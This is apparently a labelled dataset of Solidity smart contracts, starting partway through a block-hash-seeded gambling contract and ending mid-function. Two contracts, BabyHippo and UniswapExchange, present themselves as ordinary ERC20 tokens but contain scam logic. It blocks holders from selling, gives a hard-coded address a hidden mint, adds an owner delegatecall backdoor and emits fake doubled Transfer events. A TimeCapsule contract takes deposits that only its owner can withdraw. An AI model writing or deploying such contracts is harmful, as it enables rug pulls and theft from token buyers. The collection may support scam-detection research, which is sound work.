jackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)])); }else if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 1) { tokenJackpotSize = tokenJackpotSize.add(uint(combinationParameter[uint8(SettleParam.jackpotFee)])); } } function runRotateTime ( uint[] combinationParameter, bytes32 _entropy ,bytes32 _entropy2)private view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin) { bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000; bytes32 tmp_entropy; bytes32 tmp_Mask = resultMask; bool isGetJackpot = false; for (uint8 i = 0; i < combinationParameter[uint8(SettleParam.RotateTime)]; i++) { if (i < 64){ tmp_entropy = _entropy & tmp_Mask; tmp_entropy = tmp_entropy >> (4*(64 - (i.add(1)))); tmp_Mask = tmp_Mask >> 4; }else{ if ( i == 64){ tmp_Mask = resultMask; } tmp_entropy = _entropy2 & tmp_Mask; tmp_entropy = tmp_entropy >> (4*( 64 - (i%63))); tmp_Mask = tmp_Mask >> 4; } if ( uint(tmp_entropy) < uint(combinationParameter[uint8(SettleParam.Uplimit)]) ){ totalAmount = totalAmount.add(combinationParameter[uint8(SettleParam.PerWinAmount)]); uint platformFees = combinationParameter[uint8(SettleParam.PerBetAmount)].mul(platformFeePercentage); platformFees = platformFees.div(1000); totalAmount = totalAmount.sub(platformFees); }else{ if (uint(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0){ if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){ uint rewardAmount = uint(combinationParameter[uint8(SettleParam.PerBetAmount)]).mul(ERC20rewardMultiple); totalTokenAmount = totalTokenAmount.add(rewardAmount); } } } if (isGetJackpot == false){ isGetJackpot = getJackpotWinBonus(i,_entropy,_entropy2); } } if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) { totalJackpotWin = jackpotSize; }else if (isGetJackpot == true && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) { totalJackpotWin = tokenJackpotSize; } } function getJackpotWinBonus (uint8 i,bytes32 entropy,bytes32 entropy2) private pure returns (bool isGetJackpot) { bytes32 one; bytes32 two; bytes32 three; bytes32 four; bytes32 resultMask = 0xF000000000000000000000000000000000000000000000000000000000000000; bytes32 jackpo_Mask = resultMask; if (i < 61){ one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1)); jackpo_Mask = jackpo_Mask >> 4; two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2))); jackpo_Mask = jackpo_Mask >> 4; three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3))); jackpo_Mask = jackpo_Mask >> 4; four = (entropy & jackpo_Mask) >> (4*(64 - (i + 4))); jackpo_Mask = jackpo_Mask << 8; } else if(i >= 61){ if(i == 61){ one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1)); jackpo_Mask = jackpo_Mask >> 4; two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2))); jackpo_Mask = jackpo_Mask >> 4; three = (entropy & jackpo_Mask) >> (4*(64 - (i + 3))); jackpo_Mask = jackpo_Mask << 4; four = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63; } else if(i == 62){ one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1)); jackpo_Mask = jackpo_Mask >> 4; two = (entropy & jackpo_Mask) >> (4*(64 - (i + 2))); three = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63; four = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62; } else if(i == 63){ one = (entropy & jackpo_Mask) >> 4*(64 - (i + 1)); two = (entropy2 & 0xF000000000000000000000000000000000000000000000000000000000000000) >> 4*63; jackpo_Mask = jackpo_Mask >> 4; three = (entropy2 & 0x0F00000000000000000000000000000000000000000000000000000000000000) >> 4*62; jackpo_Mask = jackpo_Mask << 4; four = (entropy2 & 0x00F0000000000000000000000000000000000000000000000000000000000000) >> 4*61; jackpo_Mask = 0xF000000000000000000000000000000000000000000000000000000000000000; } else { one = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 1))); jackpo_Mask = jackpo_Mask >> 4; two = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 2))) ; jackpo_Mask = jackpo_Mask >> 4; three = (entropy2 & jackpo_Mask) >> (4*( 64 - (i%64 + 3))) ; jackpo_Mask = jackpo_Mask >> 4; four = (entropy2 & jackpo_Mask) >>(4*( 64 - (i%64 + 4))); jackpo_Mask = jackpo_Mask << 8; } } if ((one ^ 0xF) == 0 && (two ^ 0xF) == 0 && (three ^ 0xF) == 0 && (four ^ 0xF) == 0){ isGetJackpot = true; } } function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) { uint prePlatformFee = (senderValue).mul(platformFeePercentage); platformFee = (prePlatformFee).div(1000); uint preJackpotFee = (senderValue).mul(jackpotFeePercentage); jackpotFee = (preJackpotFee).div(1000); uint preUserGetAmount = senderValue.mul(bonusPercentage); possibleWinAmount = preUserGetAmount.div(10000); } function settleBetVerifi(uint[] combinationParameter,bytes32 blockHash )external view returns(uint totalAmount,uint totalTokenAmount,uint totalJackpotWin,bytes32 _entropy,bytes32 _entropy2) { require (secretSignerList[combinationParameter[uint8(SettleParam.secretSignerIndex)]] == msg.sender); _entropy = keccak256( abi.encodePacked( uint( keccak256( abi.encodePacked( combinationParameter[uint8(SettleParam.Reveal)], combinationParameter[uint8(SettleParam.LuckySeed)] ) ) ), blockHash ) ); _entropy2 = keccak256( abi.encodePacked( uint(_entropy), combinationParameter[uint8(SettleParam.LuckySeed)] ) ); (totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime(combinationParameter,_entropy,_entropy2); } function refundBet(uint commit,uint8 machineMode) external { Bet storage bet = bets[commit]; uint amount = bet.amount; require (amount != 0, "Bet should be in an 'active' state"); require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks)); bet.amount = 0; uint platformFee; uint jackpotFee; uint possibleWinAmount; uint upperLimit; uint maxWithdrawalPercentage; (upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode); (platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount); lockedInBets = lockedInBets.sub(possibleWinAmount); sendFunds(bet.gambler, amount, amount); } function refundTokenBet(uint commit,uint8 machineMode) external { Bet storage bet = bets[commit]; uint amount = bet.amount; require (amount != 0, "Bet should be in an 'active' state"); require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks)); bet.amount = 0; uint platformFee; uint jackpotFee; uint possibleWinAmount; uint upperLimit; uint maxWithdrawalPercentage; (upperLimit,maxWithdrawalPercentage) = getBonusPercentageByMachineMode(machineMode); (platformFee, jackpotFee, possibleWinAmount) = getPossibleWinAmount(maxWithdrawalPercentage,amount); lockedTokenInBets = uint128(lockedTokenInBets.sub(possibleWinAmount)); ERC20(ERC20ContractAddres).transfer(bet.gambler, amount); emit TokenPayment(bet.gambler, amount); } function clearStorage(uint[] cleanCommits) external { uint length = cleanCommits.length; for (uint i = 0; i < length; i++) { clearProcessedBet(cleanCommits[i]); } } function clearProcessedBet(uint commit) private { Bet storage bet = bets[commit]; if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) { return; } bet.placeBlockNumber = 0; bet.gambler = address(0); } function sendFunds(address beneficiary, uint amount, uint successLogAmount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } function sendFundsToManager(uint amount) external onlyOwner { if (manager.send(amount)) { emit ToManagerPayment(manager, amount); } else { emit ToManagerFailedPayment(manager, amount); } } function sendTokenFundsToManager( uint amount) external onlyOwner { ERC20(ERC20ContractAddres).transfer(manager, amount); emit TokenPayment(manager, amount); } function sendFundsToOwner(address beneficiary, uint amount) external onlyOwner { if (beneficiary.send(amount)) { emit ToOwnerPayment(beneficiary, amount); } else { emit ToOwnerFailedPayment(beneficiary, amount); } } function updateMIN_BET(uint _uintNumber)public onlyManager { MIN_BET = _uintNumber; } function updateMAX_BET(uint _uintNumber)public onlyManager { MAX_BET = _uintNumber; } function updateMAX_AMOUNT(uint _uintNumber)public onlyManager { MAX_AMOUNT = _uintNumber; } function updateWithdrawalModeByIndex(uint8 _index, uint32 _value) public onlyManager{ withdrawalMode[_index] = _value; } function updateWithdrawalMode( uint32[] _withdrawalMode) public onlyManager{ withdrawalMode = _withdrawalMode; } function updateBitComparisonMask(bytes32 _newBitComparisonMask ) public onlyOwner{ bitComparisonMask = _newBitComparisonMask; } function updatePlatformFeePercentage(uint8 _platformFeePercentage ) public onlyOwner{ platformFeePercentage = _platformFeePercentage; } function updateJackpotFeePercentage(uint8 _jackpotFeePercentage ) public onlyOwner{ jackpotFeePercentage = _jackpotFeePercentage; } function updateERC20rewardMultiple(uint8 _ERC20rewardMultiple ) public onlyManager{ ERC20rewardMultiple = _ERC20rewardMultiple; } }
0
835
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BabyHippo{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
358
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
138
pragma solidity ^0.4.17; contract Ownable { address public Owner; function Ownable() { Owner = msg.sender; } function isOwner() internal constant returns (bool) { return( Owner == msg.sender); } } contract TimeCapsule is Ownable { address public Owner; mapping (address=>uint) public deposits; uint public openDate; function initCapsule(uint open) { Owner = msg.sender; openDate = open; } function() payable { deposit(); } function deposit() { if( msg.value >= 0.5 ether ) deposits[msg.sender] += msg.value; else throw; } function withdraw(uint amount) { if( isOwner() && now >= openDate ) { uint max = deposits[msg.sender]; if( amount <= max && max > 0 ) msg.sender.send( amount ); } } function kill() { if( isOwner() && this.balance == 0 ) suicide( msg.sender ); } }
0
299
pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20Basic is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function 